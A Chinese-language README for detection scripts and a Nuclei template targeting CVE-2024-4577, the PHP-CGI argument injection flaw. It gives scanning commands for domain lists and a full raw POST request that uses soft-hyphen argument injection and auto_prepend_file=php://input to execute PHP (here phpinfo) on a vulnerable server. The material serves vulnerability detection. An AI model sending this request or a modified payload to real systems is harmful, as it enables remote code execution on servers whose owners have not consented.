本仓库包含用于检测 CVE-2024-4577 漏洞(PHP-CGI 中的参数注入问题)的脚本。您可以使用提供的 Bash、Go 和 Python 脚本对域名列表进行漏洞测试。此外,我还发布了一个 Nuclei YAML 模板。
使用 Bash 脚本,运行以下命令:
./CVE-2024-4577.sh /path/to/domains-list
首先,将 Go 脚本保存为名为 CVE-2024-4577.go 的文件。编译并运行 Go 脚本:
将 Go 脚本编译为二进制文件:
go build -o CVE-2024-4577 CVE-2024-4577.go
使用域名列表文件作为参数运行二进制文件:
./CVE-2024-4577 /path/to/domains-list
首先,将 Python 脚本保存为名为 CVE-2024-4577.py 的文件。运行 Python 脚本:
确保已安装 requests 库:
pip install requests
使用域名列表文件作为参数运行 Python 脚本:
python CVE-2024-4577.py /path/to/domains-list
(可选)若只想打印存在漏洞的主机:
python CVE-2024-4577.py /path/to/domains-list --quiet
要手动测试漏洞,可发送以下 POST 请求:
POST /test.hello?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php phpinfo(); ?>
我还创建了一个 Nuclei 模板用于扫描存在漏洞的实例,该模板采用 v3 布局方案,并已在实验室环境中测试:
nuclei -t CVE-2024-4577.yaml -u <target-url>
域名列表应预先添加 http/https 前缀以确保正确读取。
http://example.com
http://testsite.com
http://vulnerablesite.com
如果发现某域名存在漏洞,输出如下:
http://example.com: Vulnerable
http://vulnerablesite.com: Vulnerable